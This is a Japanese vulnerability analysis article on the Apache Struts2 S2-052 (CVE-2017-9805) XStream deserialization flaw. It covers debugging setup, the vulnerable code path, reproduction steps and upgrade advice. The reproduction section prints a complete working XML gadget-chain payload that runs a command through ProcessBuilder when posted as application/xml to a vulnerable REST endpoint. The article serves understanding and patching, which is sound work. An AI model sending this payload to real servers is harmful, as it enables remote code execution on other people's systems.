ホームページ  >  記事  >  運用・保守  >  Struts2-052 脆弱性分析例

Struts2-052 脆弱性分析例

王林
王林転載
2023-05-13 11:25:061317ブラウズ

はじめに

2017 年 9 月 5 日、海外のセキュリティ研究組織 lgtm.com のセキュリティ研究者によって発見された深刻な脆弱性が、Apache Struts 2 で正式にリリースされました。脆弱性番号は CVE-2017-9805 ( S2 -052)、攻撃者は慎重に構築された XML データを渡し、リモート コマンドを実行する可能性があります。
Struts2 REST プラグインの XStream コンポーネントには、逆シリアル化の脆弱性があります。XStream コンポーネントを使用して XML 形式のデータ パケットを逆シリアル化する場合、データ コンテンツが効果的に検証されないため、セキュリティ リスクが生じ、リモートで実行される可能性があります。コマンド。
エクスプロイト条件: REST プラグインを使用し、影響を受けるバージョン範囲内で使用します。
利用方法: 攻撃者はリモート悪用のために悪意のあるデータ パケットを作成します。
影響を受けるバージョン: Struts 2.1.2 - Struts 2.3.33、Struts 2.5 - Struts 2.5.12

デバッグ環境の構築

1) 公式ソースコードをダウンロードします:
git clone https://github.com/apache/Struts.git
2) 2.5.12 ブランチに切り替えます:
git checkout STRUTS_2_5_12
3) src/apps/rest-showcase フォルダー全体をコピーしますソース パッケージが出てきて、新しいプロジェクトを作成します。
4) IDEA または eclipse を使用して Maven プロジェクトをインポートします。
5) デバッグ モードで実行した後は、楽しくデバッグできます
Struts2-052 脆弱性分析例

#脆弱性の原理分析

公式発表によると、この脆弱性は struts2-rest-plugin-2.5.12.jar パッケージの XstreamHandler クラスに存在することがわかっています。
それでは、このクラスをチェックしてください。このクラスには toObject メソッドがあり、その機能は XML コンテンツを逆シリアル化することです。
Struts2-052 脆弱性分析例
最初にこのメソッドにブレークポイントを置き、次にデータ パケットを構築します
Struts2-052 脆弱性分析例
データ パケットを送信した後、ブレークポイントにジャンプします。上部のコール スタックで、ContentTypeInterceptor がこのメソッドを呼び出します。
Struts2-052 脆弱性分析例
ContentTypeInterceptor クラスの intercept メソッドは、渡された Content-Type の値に基づいて、対応するオブジェクトを生成します。 application/xml に対応して、XML 処理オブジェクト XStreamHandler が生成されます。
f5 を続けて、逆シリアル化を実行する関数 unmarshal を参照してください。この関数の実行時にはデータ セキュリティ チェックが行われないため、リモート コマンドが実行されます。
Struts2-052 脆弱性分析例#その後、アンマーシャル関数に入り、デバッグを続行します。AbstractReflectionConverter は、送信した XML タグと値を段階的に解析し、最後に poc

内のコードを呼び出します。 Struts2-052 脆弱性分析例# 脆弱性の再現

ページ http://localhost:8080//struts2-rest-showcase/orders/3/edit,


Intercept で [送信] をクリックします。 HTTP リクエストを作成し、リクエストを送信します。ボディを POC ペイロードに変更し、Content-Type ヘッダーを application/xml に変更します。 Struts2-052 脆弱性分析例ペイロードは:

<map> 
  <entry> 
    <jdk.nashorn.internal.objects.nativestring> 
      <flags>0</flags>  
      <value> 
        <datahandler> 
          <datasource> 
            <is> 
              <cipher> 
                <initialized>false</initialized>  
                <opmode>0</opmode>  
                <serviceiterator> 
                  <iter> 
                    <iter></iter>  
                    <next> 
                      <command> 
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> 
                      </command>  
                      <redirecterrorstream>false</redirecterrorstream> 
                    </next> 
                  </iter>  
                  <filter> 
                    <method> 
                      <class>java.lang.ProcessBuilder</class>  
                      <name>start</name>  
                      <parameter-types></parameter-types> 
                    </method>  
                    <name>foo</name> 
                  </filter>  
                  <next>foo</next> 
                </serviceiterator>  
                <lock></lock> 
              </cipher>  
              <input>  
              <ibuffer></ibuffer>  
              <done>false</done>  
              <ostart>0</ostart>  
              <ofinish>0</ofinish>  
              <closed>false</closed> 
            </is>  
            <consumed>false</consumed> 
          </datasource>  
          <transferflavors></transferflavors> 
        </datahandler>  
        <datalen>0</datalen> 
      </value> 
    </jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry>  
  <entry> 
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry> 
</map>

リクエストを送信すると、計算機がポップアップ表示されます


Struts2-052 脆弱性分析例パッチ

公式パッチ、公式修復計画、主な方法は、XML 内のデータをホワイトリストに登録し、コレクションとマップ、いくつかの基本クラス、および時間クラスをホワイトリストに追加して、XStream が逆シリアル化中に有害なクラスを持ち込まないようにすることです

#修復提案Struts2-052 脆弱性分析例

バージョン 2.3.0 から 2.3.33 は Struts 2.3.34 バージョンにアップグレードされます

バージョン 2.5.0 から 2.5.12 は Struts 2.5.13 バージョンにアップグレードされます

以上がStruts2-052 脆弱性分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。